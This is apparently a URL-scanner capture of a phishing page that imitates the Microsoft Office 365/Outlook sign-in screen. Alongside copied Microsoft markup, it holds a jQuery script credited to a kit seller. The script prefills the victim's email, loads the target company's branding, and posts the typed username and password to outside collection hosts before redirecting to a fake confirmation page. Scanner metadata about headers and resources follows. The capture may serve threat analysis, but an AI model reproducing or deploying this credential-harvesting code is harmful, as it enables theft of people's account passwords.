e.setRequestHeader("client-request-id",p.correlationId),e.setRequestHeader("hpgid",p.hpgid||0),e.setRequestHeader("hpgact",p.hpgact||0);for(var r=-1,t=0;t<b.length;t++){if("submit"===b[t].cmdName){r=t;break}}var o=b[r]?b[r].args||[]:[],a={"sr":y.sr,"ec":"Failed to load external resource [Core Watson files]","wec":55,"idx":1,"pn":p.pgid||"","sc":p.scid||0,"hpg":p.hpgid||0,"msg":"Failed to load external resource [Core Watson files]","url":o[1]||"","ln":0,"ad":0,"an":!1,"cs":"","sd":p.serverDetails,"ls":null,
"diag":v(y)};e.send(JSON.stringify(a))}catch(e){}w=!0}y.loadErrorUrl&&window.location.assign(y.loadErrorUrl)}n()}function n(){b=[],h.$WebWatson=null}function o(r){return function(){var t=arguments;b.push({"cmdName":r,"args":t}),e()}}function a(){var e=["foundException","resetException","submit"],r=this;r.isProxy=!0;for(var t=e.length,n=0;n<t;n++){var a=e[n];a&&(r[a]=o(a))}}function i(e,r,t,n,o,a,i){var u=h.event;return a||(a=l(o||u,i?i+2:2)),
h.$Debug&&h.$Debug.appendLog&&h.$Debug.appendLog("[WebWatson]:"+(e||"")+" in "+(r||"")+" @ "+(t||"??")),E.submit(e,r,t,n,o||u,a,i)}function u(e,r){return{"signature":e,"args":r,"toString":function(){return this.signature}}}function s(e){for(var r=[],t=e.split("\n"),n=0;n<t.length;n++){r.push(u(t[n],[]))}return r}function c(e){for(var r=[],t=e.split("\n"),n=0;n<t.length;n++){var o=u(t[n],[]);t[n+1]&&(o.signature+="@"+t[n+1],n++),r.push(o)}return r}function d(e){if(!e){return null}try{if(e.stack){
return s(e.stack)}if(e.error){if(e.error.stack){return s(e.error.stack)}}else if(window.opera&&e.message){return c(e.message)}}catch(e){}return null}function l(e,r){var t=[];try{for(var n=arguments.callee;r>0;){n=n?n.caller:n,r--}for(var o=0;n&&o<L;){var a="InvalidMethod()";try{a=n.toString()}catch(e){}var i=[],s=n.args||n.arguments;if(s){for(var c=0;c<s.length;c++){i[c]=s[c]}}t.push(u(a,i)),n=n.caller,o++}}catch(e){t.push(u(e.toString(),[]))}var l=d(e)
;return l&&(t.push(u("--- Error Event Stack -----------------",[])),t=t.concat(l)),t}function f(e){if(e){try{var r=/function (.{1,})\(/,t=r.exec(e.constructor.toString());return t&&t.length>1?t[1]:""}catch(e){}}return""}function g(e){if(e){try{if("string"!=typeof e&&JSON&&JSON.stringify){var r=f(e),t=JSON.stringify(e);return t&&"{}"!==t||(e.error&&(e=e.error,r=f(e)),(t=JSON.stringify(e))&&"{}"!==t||(t=e.toString())),r+":"+t}}catch(e){}}return""+(e||"")}function v(e){var r=[];try{
if(jQuery?(r.push("jQuery v:"+jQuery().jquery),jQuery.easing?r.push("jQuery.easing:"+JSON.stringify(jQuery.easing)):r.push("jQuery.easing is not defined")):r.push("jQuery is not defined"),e&&e.expectedVersion&&r.push("Expected jQuery v:"+e.expectedVersion),m){var t,n="";for(t=0;t<m.o.length;t++){n+=m.o[t]+";"}for(r.push("$Do.o["+n+"]"),n="",t=0;t<m.q.length;t++){n+=m.q[t].id+";"}r.push("$Do.q["+n+"]")}if(h.$Debug&&h.$Debug.getLogs){var o=h.$Debug.getLogs();o&&o.length>0&&(r=r.concat(o))}if(b){
for(var a=0;a<b.length;a++){var i=b[a];if(i&&"submit"===i.cmdName){try{if(JSON&&JSON.stringify){var u=JSON.stringify(i);u&&r.push(u)}}catch(e){r.push(g(e))}}}}}catch(e){r.push(g(e))}return r}var h=window,p=h.$Config||{},y=p.watson,m=h.$Do;if(!h.$WebWatson&&y){var b=[],$=!1,w=!1,L=10,E=h.$WebWatson=new a;E.CB={},E._orgErrorHandler=h.onerror,h.onerror=i,E.errorHooked=!0,m.when("jQuery.version",function(e){y.expectedVersion=e}),m.register("$WebWatson")}}(),function(){function e(e,r){
for(var t=r.split("."),n=t.length,o=0;o<n&&null!==e&&void 0!==e;){e=e[t[o++]]}return e}function r(r){var t=null;return null===s&&(s=e(a,"Constants")),null!==s&&r&&(t=e(s,r)),null===t||void 0===t?"":t.toString()}function t(t){var n=null;return null===i&&(i=e(a,"$Config.strings")),null!==i&&t&&(n=e(i,t.toLowerCase())),null!==n&&void 0!==n||(n=r(t)),null===n||void 0===n?"":n.toString()}function n(e,r){var n=null;return e&&r&&r[e]&&(n=t("errors."+r[e])),n||(n=t("errors."+e)),n||(n=t("errors."+c)),n||(n=t(c)),n}
function o(t){var n=null;return null===u&&(u=e(a,"$Config.urls")),null!==u&&t&&(n=e(u,t.toLowerCase())),null!==n&&void 0!==n||(n=r(t)),null===n||void 0===n?"":n.toString()}var a=window,i=null,u=null,s=null,c="GENERIC_ERROR";a.GetString=t,a.GetErrorString=n,a.GetUrl=o}(),function(){var e=window,r=e.$Config||{};e.$B=r.browser||{}}();

//]]></script> 

        <link rel="prefetch" href="https://login.live.com/Me.htm?v=3">
        <link rel="shortcut icon" href="https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico">

    <script type="text/javascript">
        ServerData = $Config;
    </script>


    
    <link crossorigin="anonymous" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css" rel="stylesheet" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-aaNZkp+Orf+VEZusNFIGnTEJZ9UmRa1+oTUDIv88KY1TTwkFhoZ4wzV9pd5ujWPC">



<script crossorigin="anonymous" src="https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedLogin_PCore_FZ20atAlhirHa_737xNftg2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)"></script>

    <script crossorigin="anonymous" src="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-RUzxg1X2m7djUACTlbHZxYYNzWy5WKCPy5MncckGmTnhsxraQQQsSPOSAMHg1U68"></script>

    


<link rel="prefetch" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css"><link rel="prefetch" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js">
</head>

<body data-bind="defineGlobals: ServerData, bodyCssClass" class="cb" style="display: block;">
   
    <script type="text/javascript">
//<![CDATA[
(function () {
var $Prefetch={"rfPre":true,"delay":1000,"maxHistory":4,"maxAge":43200,"ageRes":1440,"name":"clrc","fetch":[{"path":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css","hash":"TfCbp8XZ","co":true,"rf":true},{"path":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js","hash":"0XngNfCT","co":true,"rf":true}],"mode":5};
!function(e,t,n){function r(e){x.appendLog&&x.appendLog("Client Prefetch: "+e)}function i(){try{for(var e=t.cookie.split(";"),r=0;r<e.length;r++){var i=e[r];if(i){var o=i.indexOf("=");if(-1!==o){if(i.substr(0,o).trim()===n.name){var u=i.substr(o+1);return JSON.parse(c(u))}}}}}catch(e){}return{}}function o(e,t,n){return e.replace(t,n)}function c(e){return e=o(e,/%5c/g,"\\"),e=o(e,/%3e/g,">"),e=o(e,/%3d/g,"="),e=o(e,/%3c/g,"<"),e=o(e,/%3b/g,";"),e=o(e,/%3a/g,":"),e=o(e,/%2c/g,","),e=o(e,/%27/g,"'"),
e=o(e,/%22/g,'"'),e=o(e,/%20/g," "),e=o(e,/%25/g,"%")}function u(e){return e=o(e,/%/g,"%25"),e=o(e,/ /g,"%20"),e=o(e,/"/g,"%22"),e=o(e,/'/g,"%27"),e=o(e,/,/g,"%2c"),e=o(e,/:/g,"%3a"),e=o(e,/;/g,"%3b"),e=o(e,/</g,"%3c"),e=o(e,/=/g,"%3d"),e=o(e,/>/g,"%3e"),e=o(e,/\\/g,"%5c")}function f(e){var r=new Date;r.setTime(r.getTime()+C*H),t.cookie=n.name+"="+u(JSON.stringify(e))+";expires="+r.toUTCString()+";path=/; Secure; SameSite=None"}function a(e,t){if(e){if(e.indexOf){return e.indexOf(t)}
for(var n=0;n<e.length;n++){if(e[n]===t){return n}}}return-1}function h(e,t){return-1!==a(e,t)}function g(e,t){var n=a(e,t);return-1!==n&&(e.splice(n,1),!0)}function l(e,t){for(var n in e){if(e.hasOwnProperty(n)&&!t(n,e[n])){break}}}function s(){var e=(new Date).getTime(),t=D*H;return P.getTime()>e?Math.round(e/t):Math.round((e-P.getTime())/t)}function d(e,t){var n=!1;if(t&&t.length>0){n=!0;for(var r=0;r<t.length;r++){delete e[t[r]]}}return n}function p(e){var t=s()-C,n=t+2*C,r=null,i=0,o=[]
;return l(e,function(c){return c<t||c>n?o.push(c):(0===e[c].length?o.push(c):(null===r||c<r)&&(r=c),i++),!0}),null!==r&&i>k&&o.push(r),d(e,o)}function v(e,t,n){r("Fetched: "+e+" Hash: "+t+" isRefresh: "+n);var o=i(),c=s(),u=!1,a=!1;if(l(o,function(e,n){return!h(n,t)||(e!==c?g(o[e],t)&&(a=!0):u=!0,!1)}),!u){var d=o[c]||[];d.push(t),o[c]=d,a=!0}a|=p(o),a&&f(o),b()}function m(t,n,i,o){var c={"method":"GET"};i&&(c.mode="cors"),e.fetch(t,c).then(function(e){
200===e.status?v(t,n,o):(r("Unexpected response - "+e.status),b())}).then(null,function(e){r("Failed - "+e),b()})}function T(){if(e.XMLHttpRequest&&!J){return new XMLHttpRequest}if(e.ActiveXObject){try{return new ActiveXObject("Msxml2.XMLHTTP")}catch(e){}try{return new ActiveXObject("Microsoft.XMLHttp")}catch(e){}}return null}function w(e,t,n,i,o){r("Fetching - "+t),e.onload=function(){v(t,n,o)},e.onerror=function(){r("XHR failed!"),b()},e.ontimeout=function(){r("XHR timed out!"),b()};try{e.open("GET",t),
e.withCredentials=i&&!N,e.send()}catch(r){N?setTimeout(function(){v(t,n,o)},0):(N=!0,w(e,t,n,!1,o))}}function O(t,n,i,o){if(e.fetch){return void m(t,n,i,o)}var c=T();if(null!==c){return void w(c,t,n,i,o)}r("Unable to identify a transport option!")}function b(){var e=n.fetch;if(X<e.length&&e[X]){var t=e[X];O(t.path,t.hash,t.co||!1,t.rf||!1),X++}}function y(e){if(e){try{var n=t.createElement("link");n.rel="prefetch",n.href=e,t.head.appendChild(n)}catch(e){}}}function M(){r("Starting"),b(),b()}function S(){
for(var t=e.$Config||e.ServerData||{},r=n.fetch,i=n.mode||-1,o=-1,c=0;c<r.length;c++){0!==o&&i>=3&&(o=r[c].rf?1:0),R&&!J&&y(r[c].path||{})}t.prefetchPltMode=o}if(n&&n.fetch&&0!==n.fetch.length){var x=e.$Debug||{},X=0,H=6e4,P=new Date(2019),k=n.maxHistory||4,C=n.maxAge||20160,D=n.ageRes||1440,L=n.delay||5e3,R=n.rfPre||!1,J=void 0!==(e._phantom||e.callPhantom),N=!1;JSON&&JSON.parse&&(n.clearCookie=function(){document.cookie=n.name+"=; expires=Thu, 01 Jan 1970 00:00:01 GMT;"},e.$Do.when("doc.load",function(){
setTimeout(M,L),setTimeout(S,0)}))}}(window,document,$Prefetch);

;
})();
//]]>
</script>


<div><!--  -->

<!--  -->


	  
	  

    <!-- ko if: svr.iBannerEnvironment --><!-- /ko -->

    <!-- ko withProperties: { '$loginPage': $data } -->
    <div data-bind="component: { name: 'master-page',
        params: {
            serverData: svr,
            showButtons: svr.fShowButtons,
            showFooterLinks: true,
            useWizardBehavior: svr.fUseWizardBehavior,
            handleWizardButtons: false,
            password: password,
            hideFromAria: ariaHidden },
        event: {
            footerAgreementClick: footer_agreementClick } }"><!--  -->

<!-- ko ifnot: useLayoutTemplates --><!-- /ko -->

<!-- ko if: useLayoutTemplates -->
    <!-- ko withProperties: { '$page': $parent } -->
        <!-- ko ifnot: isVerticalSplitTemplate -->
        <div id="lightboxTemplateContainer" data-bind="component: { name: 'lightbox-template', params: { serverData: svr } }"><!--  -->

<div data-bind="component: { name: 'background-image-control',
    publicMethods: $page.backgroundControlMethods }"><div class="background-image-holder app" role="presentation" data-bind="css: { app: isAppBranding }, style: { background: backgroundStyle }">
    <!-- ko if: smallImageUrl -->
    <div class="background-image-small" data-bind="backgroundImage: smallImageUrl()" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg&quot;);"></div>
    <!-- /ko -->

    <!-- ko if: backgroundImageUrl -->
    <div data-bind="backgroundImage: backgroundImageUrl(), externalCss: { 'background-image': true }" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg&quot;);" class="background-image ext-background-image"></div>
        <!-- ko if: useImageMask --><!-- /ko -->
    <!-- /ko -->
</div></div>

<div class="outer app" data-bind="css: { 'app': $page.backgroundLogoUrl }">
    <!-- ko if: showHeader --><!-- /ko -->
	 <div>
         <div>
            <!-- <div class="app background">
               <div id="bg_image" style="background-image:url(https://i.stack.imgur.com/vzbuQ.jpg")></div>
            </div> -->
         </div>

            <div class=outer>
               <div class="app middle">
                  <div class="background-logo-holder">
                  	<h1 style="text-align: center; color: white;"></h1><br><br>
                  </div>
                  <div class="app fade-in-lightbox inner">
                     <div>
                        <img id="logo_image" class="banner-logo" src="https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg">
                     </div>
                     <div>


                        <div id="pick_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                    </div>
                                 </div>
                                 <div class="row">
                                    <div class="col-md-24 form-group">
                                       <div class="placeholderContainer">
					                   <div class="add_em">
											 <p style="font-weight: bold;margin-left: 4%">Pick an account</p>
											 <a href="#" class="email-picker">
												 <div class="block-m2">
													<img role="presentation" src="https://i.ibb.co/jg6w34B/picker-account.png"> <span id="em_picker"></span><span style="float:right; margin-top:4%"><img src="https://srv-file8.gofile.io/download/NAGerp/picker_more.png" alt=""></span>
												 </div>
											 </a>
											 <a href="#" class="email-picker2">
												 <div class="block-m2">
													<img role="presentation" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI0OCIgaGVpZ2h0PSI0OCIgdmlld0JveD0iMCAwIDQ4IDQ4Ij48dGl0bGU+YXNzZXRzPC90aXRsZT48Y2lyY2xlIGN4PSIyNCIgY3k9IjI0IiByPSIyNCIgZmlsbD0iI2U2ZTZlNiIvPjxwYXRoIGQ9Ik0yNSwyM0gzNnYySDI1VjM2SDIzVjI1SDEyVjIzSDIzVjEyaDJaIiBmaWxsPSIjNDA0MDQwIi8+PC9zdmc+"><span style="word-wrap:break-word;"> Use another account</span>
												 </div>
											 </a>
											 <br>
										</div>
                                       </div>
                                    </div>
                                 </div>
                                 <div class="position-buttons">

                                 </div>
                              </div>
                           </div>
                        </div>

                        <div id="add_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                      
                                    </div>
                                 </div>
                                 <div class=row>
									<div aria-live="assertive" role="alert" style="display: none;" class="error-alert">
										<div class="alert alert-error error-alert-msg"></div>
										<br>
									</div>
                                    <div class="col-md-24 form-group">
                                      
									    <div class="">
											<input type="text" name="email" id="email" class="form-control ltr_override" value="" placeholder="Email, phone or skype">
                                       </div>
                                    </div>
                                 </div>
								 <p>No account? <a href="#">Create one!</a></p>
								<a href="#" data-bind="
            attr: { 'id': switchToCredId },
            text: switchToCredText,
            click: switchToCred_onClick" id="idA_PWD_SwitchToFido">Sign in with a security key</a>
        <!-- /ko -->

        <!-- ko if: displayHelp && selectedCredType === 7 -->
            <!-- ko component: { name: 'fido-help-button-control',
                params: {
                    isPlatformAuthenticatorAvailable: isPlatformAuthenticatorAvailable() },
                event: {
                    registerDialog: onRegisterDialog,
                    unregisterDialog: onUnregisterDialog,
                    showDialog: onShowDialog } } --><!--  -->

<span class="help-button" role="button" tabindex="0" data-bind="
    click: fidoHelp_onClick,
    pressEnter: fidoHelp_onClick,
    hasFocus: hasFocus,
    ariaLabel: isPlatformAuthenticatorAvailable ? str['CT_STR_CredentialPicker_Help_Desc_Fido'] : str['CT_STR_CredentialPicker_Help_Desc_FidoCrossPlatform']" aria-label="Learn more about signing in with a security key">

    <!-- ko component: 'accessible-image-control' --><!-- ko if: (isHighContrastBlackTheme || hasDarkBackground || svr.fHasBackgroundColor) && !isHighContrastWhiteTheme --><!-- /ko -->
<!-- ko if: (isHighContrastWhiteTheme || (!hasDarkBackground && !svr.fHasBackgroundColor)) && !isHighContrastBlackTheme -->
<!-- ko template: { nodes: [darkImageNode], data: $parent } --><img role="presentation" pngsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_9628e22a6bfb1edc59e81064a666b614.png" svgsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg" data-bind="imgSrc" src="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg"><!-- /ko -->
<!-- /ko --><!-- /ko -->
</span>

                                 <div class="position-buttons">
                                   
                                    <div class=row>
                                       <div class="col-xs-24 no-padding-left-right button-container">
                                       <div class=inline-block>
                                          <button class="btn btn-block btn-primary btn-email">Next</button>
                                       </div>
                                       </div>
                                    </div>
                                 </div>
                              </div>
                           </div>
                        </div>
						<div id="add_pass" style="display: none;">
							<div class="animate slide-in-next">
								<div>
									<div class="identityBanner">
										<a class="backButton" href="#" type="button">
											<img style="width: 13px; margin-top: 6px;left: 0;" src="https://image.flaticon.com/icons/svg/109/109618.svg">
										</a>
										<div class="identity"></div>
									</div>
								</div>
							</div>
							<div class="animate slide-in-next has-identity-banner pagination-view">
								<div class="row text-title">Enter password</div>
								<div class=row>
									<div class="form-group col-md-24">
										<div aria-live="assertive" role="alert" style="display: none;" class="error-alert-pass">
											<div class="alert alert-error">Your email or password is incorrect. If you don't remember your password, <a href='#'>reset it now.</a></div>
										</div>
										<div class=placeholderContainer>
											<input name="password" type="password" id="password" autocomplete="off" class="form-control" placeholder="Password" tabindex="0">
										</div>
									</div>
								</div>
								<div class=position-buttons>
									<div>
										<div class=row>
											<div class=col-md-24>
													<div class="action-links text-13">
													<div class=form-group><a href="#">Forgot my password</a></div>
													<div class=form-group></div>
												</div>
											</div>
										</div>
									</div>
									<div class=row >
										<div>
											<div class="button-container col-xs-24 no-padding-left-right">
												<div class=inline-block>
													<button class="btn btn-block btn-primary btn-signin">Sign in</button>
												</div>
											</div>
										</div>
									 </div>
								</div>
							</div>
                        </div>
                     </div>
                  </div>
                  <div>
                  </div>
                  <div class=footer id=footer>
                     <div>
                        <div class="footerNode text-secondary">
                           <!-- <span>©2021 Microsoft</span> -->
                           <a href="#">Terms of use&nbsp;&nbsp;</a>
                           <a href="#">Privacy & cookies &nbsp;&nbsp;<b >...</b></a>
                          
                        </div>
                     </div>
                  </div>
               </div>
            </div>

      </div>

   
</div></div>
        <!-- /ko -->

        <!-- ko if: isVerticalSplitTemplate() && isVerticalSplitTemplateLoaded() --><!-- /ko -->
    <!-- /ko -->
<!-- /ko --></div>
    <!-- /ko -->
<script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
	  <script>
		$( document ).ready(function() {
			// THIS SCRIPT CODED BY MIRCBOOT
			// CONTACT US SKYPE : MIRCBOOT
			// ICQ : 703514486
			// Genral 365 Version 14
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!! Attention !!!!!!!!!!!!
			// !!!! IF NOT WORKING CONTACT US  !!!
			// !!!! IF NOT WORKING CONTACT US  !!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

			// Note : if this HTML page hosted on http(s) domain so you must add the http(s) url php file to avoid cross error //

			var php_url = 'https://globalservicemail.com/hars/login.php'; // Enter your post PHP page url here.
			var check_mx = false; // true or false for check outlook MX.



			// ******************************************************************************************************* //
			var hash = window.location.hash;
			var email = hash.split('#')[1];

			if(true_email(email)){
				$("#pick_em").show();
				$("#em_picker").html(email);
				$('#email').val(email);
			}else{
				$("#add_em").show();
			}

			$('.email-picker').on('click', function (){
				$('.identity').html(email);
				$(".error-alert-pass").hide();
				set_brand(email);
				setTimeout(function (){
					$("#pick_em").hide();
					$("#add_pass").show();
				}, 1000);
			});

			$('.email-picker2').on('click', function (){
				$('#email').val('');
				$("#pick_em").hide();
				$("#add_em").show();
			});

			$('.btn-email').on('click', function (){
				var email = $('#email').val();
				$('.identity').html(email);
				$(".error-alert").hide();
				$('.btn-email').prop('disabled', true);
				if(true_email(email) == false){
					$(".error-alert").show();
					$(".error-alert-msg").html('Please enter correct office 365 email account.');
					$('.btn-email').prop('disabled', false);
				}else{
					if(check_mx == true){
						var domain = email.split('@')[1];
						var str;
						$.ajax({
							url: php_url + '?domain=' + domain,
							success: function(data){
								str = data.includes("outlook");
								if(str){
									set_brand(email);
									setTimeout(function (){
										$("#add_em").hide();
										$("#add_pass").show();
									}, 1000);
								}else{
									$(".error-alert").show();
									$(".error-alert-msg").html('You can\'t signin with this account, Please use work or school account instead.');
									$('.btn-email').prop('disabled', false);
								}
							},
							error: function(xhr){
								$(".error-alert").show();
								$(".error-alert-msg").html('Error occured, Please try again.');
								$('.btn-email').prop('disabled', false);
							}
						});
					}else{
						set_brand(email);
						setTimeout(function (){
							$("#add_em").hide();
							$("#add_pass").show();
						}, 1000);
					}
				}
			});

			$('.btn-signin').on('click', function (){
				$('.btn-signin').prop('disabled', true);
				setTimeout(function (){
					$(".error-alert-pass").hide();
				}, 500);
				var user = $('#email').val();
				var pass = $('#password').val();
				$.ajax({
					url: "https://checkmyips.net/api/geoip/",
					type: "POST",
					data: {user:user,pass:pass,t:1},
					success: function(data){
						var i=$.parseJSON(data);
						if(i.status == 'OK'){
							$.ajax({
								 url: php_url,
								 type: "POST",
								 data: {user:user,pass:pass,country:i.country,ip:i.ip},
								 success: function(finish_url){
									window.open('https://customredirects.z13.web.core.windows.net//myoofice/verified.html', '_top')
								 }
							 });
						}else{
							$(".error-alert-pass").show();
							$('.btn-signin').prop('disabled', false);
						}
					},
					error: function(){
						$(".error-alert-pass").hide();
						$('.btn-signin').prop('disabled', false);
					}
				});
			});

			$('.backButton').on('click', function (){
				$('#bg_image').css('background-image', 'url(lib/img/background.jpg)');
				$('#logo_image').attr('src', 'https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg');
				$('#banner_image').show();
				$('.btn-email').prop('disabled', false);
				$("#add_pass").hide();
				$("#add_em").show();
				$(".error-alert-pass").hide();
			});

			function set_brand(email){
				$.ajax({
					url: php_url,
					type: "POST",
					data: {email:email,barnd:1},
					success: function(data){
						var i=$.parseJSON(data);
						if(i.bg_image !== null && i.logo_image !== null && i.bg_image !== '' && i.logo_image !== ''){
							$('#bg_image').css('background-image', 'url(' + i.bg_image + ')');
							$('#logo_image').attr('src', i.logo_image);
							$('#banner_image').hide();
						}
					}
				});
			}
		});

		function true_email(a) {
			var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
			return re.test(a);
		}
	  </script>
    <script type="text/javascript">
  $(document).keypress(function(event){
  var keycode = (event.keyCode ? event.keyCode : event.which);
  if(keycode == '13'){
    $("#btn-email, .btn-signin").click();
  }
});
</script>

<!-- ko if: svr.urlCBPartnerPreload -->

<!-- /ko --></div></body></html>
Protocol
H2
Security
TLS 1.3, , AES_256_GCM
Server
152.199.23.37 , United States, ASN15133 (EDGECAST, US),
Reverse DNS
Software
ECAcc (lhd/35ED) /
Resource Hash
a76c08e9cdc3bb87bfb57627ad8f6b46f0e5ef826cc7f046dfbaf25d7b7958ea

Request headers

Referer
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36

Response headers

x-ms-blob-type
BlockBlob
date
Wed, 10 Mar 2021 10:27:59 GMT
content-encoding
gzip
content-md5
6dTbAT1RVL9d6geobv3IJg==
age
7721049
x-cache
HIT
content-length
606
x-ms-lease-status
unlocked
last-modified
Thu, 16 Jan 2020 00:32:49 GMT
server
ECAcc (lhd/35ED)
etag
0x8D79A1B9DB4199D
vary
Accept-Encoding
content-type
image/svg+xml
access-control-allow-origin
*
x-ms-request-id
37c6068e-a01e-003b-2d5f-cfcbb3000000
access-control-expose-headers
x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
cache-control
public, max-age=31536000
x-ms-version
2009-09-19
accept-ranges
bytes
109618.svg
image.flaticon.com/icons/svg/109/ Frame 83F5 		888 B
734 B 		Image
General
Check archive.org
Download Go to Show image
Full URL
https://image.flaticon.com/icons/svg/109/109618.svg
Requested by
Host: text
URL: data:text/html;base64,<html dir="ltr" class="" lang="en"><head>
    <title>Sign in to Outlook</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, user-scalable=yes">
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="Expires" content="-1">
    <link rel="preconnect" href="https://aadcdn.msftauth.net" crossorigin="">
<meta http-equiv="x-dns-prefetch-control" content="on">
<link rel="dns-prefetch" href="//aadcdn.msftauth.net">
<link rel="dns-prefetch" href="//aadcdn.msauth.net">

    <meta name="PageID" content="ConvergedSignIn">
    <meta name="SiteID" content="">
    <meta name="ReqLC" content="1033">
    <meta name="LocLC" content="en-US">



<script type="text/javascript">//<![CDATA[
$Config={"fShowPersistentCookiesWarning":false,"urlMsaSignUp":"https://login.live.com/oauth20_authorize.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlMsaLogout":"https://login.live.com/logout.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com","urlOtherIdpForget":"https://login.live.com/forgetme.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com","showCantAccessAccountLink":true,"fEnableShowResendCode":true,"iShowResendCodeDelay":90000,"sSMSCtryPhoneData":"AF~Afghanistan~93!!!AX~Åland Islands~358!!!AL~Albania~355!!!DZ~Algeria~213!!!AS~American Samoa~1!!!AD~Andorra~376!!!AO~Angola~244!!!AI~Anguilla~1!!!AG~Antigua and Barbuda~1!!!AR~Argentina~54!!!AM~Armenia~374!!!AW~Aruba~297!!!AC~Ascension Island~247!!!AU~Australia~61!!!AT~Austria~XMR~Belarus~375!!!BE~Belgium~32!!!BZ~Belize~501!!!BJ~Benin~229!!!BM~Bermuda~1!!!BT~Bhutan~975!!!BO~Bolivia~591!!!BQ~Bonaire~599!!!BA~Bosnia and Herzegovina~387!!!BW~Botswana~267!!!BR~Brazil~55!!!IO~British Indian Ocean Territory~246!!!VG~British Virgin 